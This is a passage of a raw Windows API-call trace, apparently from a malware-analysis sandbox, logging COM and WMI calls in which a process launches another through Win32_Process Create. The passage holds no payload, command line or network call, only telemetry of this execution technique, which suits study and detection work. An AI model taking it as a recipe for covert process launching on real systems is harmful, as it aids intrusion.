[6]=0x2e, [7]=0x24))) returned 0x0 [0133.641] IUnknown:Release (This=0x1bbd6658) returned 0x3 [0133.641] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0133.641] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0133.641] IUnknown:QueryInterface (in: This=0x1bbd6650, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0133.641] IUnknown:Release (This=0x1bbd6650) returned 0x2 [0133.641] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0133.641] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0133.641] IUnknown:QueryInterface (in: This=0x1bbd6650, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0133.641] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0133.641] IUnknown:QueryInterface (in: This=0x1bbd6650, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0133.641] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0133.641] IUnknown:AddRef (This=0x1bbd6650) returned 0x3 [0133.641] IWbemClassObject:Put (This=0x1aa177b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bbd6650, varVal2=0x0), Type=0) returned 0x0 [0133.641] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a4a0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0133.641] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a4a0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0133.641] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a4a0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0133.641] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a3e0, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0133.641] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0133.641] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.641] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a4a0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0133.642] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a4a0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0133.642] IWbemServices:ExecMethod (in: This=0x1bc0b570, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa177b0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa17a60, ppCallResult=0x0) returned 0x0 [0133.813] IWbemClassObject:Get (in: This=0x1aa17a60, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839a40*=0, plFlavor=0x2839a44*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf20, varVal2=0x0), pType=0x2839a40*=19, plFlavor=0x2839a44*=0) returned 0x0 [0133.813] IWbemClassObject:Get (in: This=0x1aa17a60, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839a40*=19, plFlavor=0x2839a44*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf20, varVal2=0x0), pType=0x2839a40*=19, plFlavor=0x2839a44*=0) returned 0x0 [0133.814] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0133.814] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0133.814] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0133.814] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.816] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc21ca0) returned 0x0 [0133.817] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc21ca0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0133.817] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc21ca0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc1a920) returned 0x0 [0133.817] WbemDefPath:IUnknown:Release (This=0x1bc21ca0) returned 0x0 [0133.817] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a920, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc1a920) returned 0x0 [0133.817] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a920, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0133.817] WbemDefPath:IUnknown:AddRef (This=0x1bc1a920) returned 0x3 [0133.817] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a920, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0133.817] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a920, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0133.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a920, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc21ce0) returned 0x0 [0133.818] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc21ce0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.818] WbemDefPath:IUnknown:Release (This=0x1bc21ce0) returned 0x3 [0133.818] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0133.818] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0133.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a920, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0133.818] WbemDefPath:IUnknown:Release (This=0x1bc1a920) returned 0x2 [0133.818] WbemDefPath:IUnknown:Release (This=0x1bc1a920) returned 0x1 [0133.818] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0133.818] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0133.818] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a920, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc1a920) returned 0x0 [0133.818] WbemDefPath:IUnknown:AddRef (This=0x1bc1a920) returned 0x3 [0133.818] WbemDefPath:IUnknown:Release (This=0x1bc1a920) returned 0x2 [0133.818] WbemDefPath:IWbemPath:SetText (This=0x1bc1a920, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0133.818] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a920, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0133.818] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a920, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0133.818] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a920, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0133.818] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc1a920, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0133.818] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a920, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0133.819] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc1a920, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0133.819] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0133.819] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0133.819] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0133.819] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.821] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc21d20) returned 0x0 [0133.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc21d20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0133.821] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc21d20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc1a9e0) returned 0x0 [0133.821] WbemDefPath:IUnknown:Release (This=0x1bc21d20) returned 0x0 [0133.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a9e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc1a9e0) returned 0x0 [0133.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a9e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0133.822] WbemDefPath:IUnknown:AddRef (This=0x1bc1a9e0) returned 0x3 [0133.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a9e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0133.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a9e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0133.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a9e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc21d60) returned 0x0 [0133.822] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc21d60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.822] WbemDefPath:IUnknown:Release (This=0x1bc21d60) returned 0x3 [0133.822] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0133.822] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0133.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a9e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0133.822] WbemDefPath:IUnknown:Release (This=0x1bc1a9e0) returned 0x2 [0133.822] WbemDefPath:IUnknown:Release (This=0x1bc1a9e0) returned 0x1 [0133.822] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0133.822] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0133.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a9e0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc1a9e0) returned 0x0 [0133.822] WbemDefPath:IUnknown:AddRef (This=0x1bc1a9e0) returned 0x3 [0133.823] WbemDefPath:IUnknown:Release (This=0x1bc1a9e0) returned 0x2 [0133.823] WbemDefPath:IWbemPath:SetText (This=0x1bc1a9e0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0133.823] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a9e0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0133.823] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a9e0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0133.823] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a9e0, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0133.823] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc1a9e0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0133.823] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a9e0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0133.823] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc1a9e0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0133.823] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a9e0, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0133.823] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0133.823] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0133.823] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.823] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0133.823] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0133.823] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0133.823] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.825] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc21da0) returned 0x0 [0133.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc21da0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0133.826] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc21da0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc1aaa0) returned 0x0 [0133.826] WbemDefPath:IUnknown:Release (This=0x1bc21da0) returned 0x0 [0133.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1aaa0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc1aaa0) returned 0x0 [0133.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1aaa0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0133.826] WbemDefPath:IUnknown:AddRef (This=0x1bc1aaa0) returned 0x3 [0133.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1aaa0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0133.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1aaa0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0133.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1aaa0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc21de0) returned 0x0 [0133.826] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc21de0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.826] WbemDefPath:IUnknown:Release (This=0x1bc21de0) returned 0x3 [0133.826] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0133.827] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0133.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1aaa0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0133.827] WbemDefPath:IUnknown:Release (This=0x1bc1aaa0) returned 0x2 [0133.827] WbemDefPath:IUnknown:Release (This=0x1bc1aaa0) returned 0x1 [0133.827] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0133.827] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0133.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1aaa0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc1aaa0) returned 0x0 [0133.827] 